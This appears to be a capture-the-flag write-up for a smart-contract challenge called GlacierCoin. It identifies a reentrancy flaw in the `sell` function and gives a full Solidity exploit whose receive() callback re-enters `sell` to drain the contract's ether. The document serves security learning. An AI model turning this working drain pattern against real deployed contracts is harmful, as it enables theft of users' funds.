Tags: smartcontract web3 

Rating: 5.0

## Weakness

Just simple reentrancy vulnerability in `sell` function

## Solution

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-ctf/CTFSolver.sol";
import "forge-std/console.sol";
import "src/Setup.sol";

contract Exploit {
function exploit(address target) public payable {
console.log("Exploiting", target);
GlacierCoin(target).buy{value: msg.value}();
GlacierCoin(target).sell(msg.value);
}

receive() external payable {
uint256 glacierBalance = address(msg.sender).balance;
if(glacierBalance > 0) {
console.log("Re-enter");
GlacierCoin(msg.sender).sell(glacierBalance);
} else {
console.log("Drained");
}
console.log("Received");
}
}

contract Solve is CTFSolver {
function solve(address challenge, address player) internal override {
Setup setup = Setup(challenge);
GlacierCoin glacier = setup.TARGET();
console.log("Solving challenge", challenge, "for player", player);
console.log("Player Balance", player.balance);
console.log("Glacier balance", address(glacier).balance);
glacier.buy{value: 1 ether}();
Exploit exploit = new Exploit();
exploit.exploit{value: 100 ether}(address(glacier));
console.log("Balance", glacier.balances(player));
}
}
```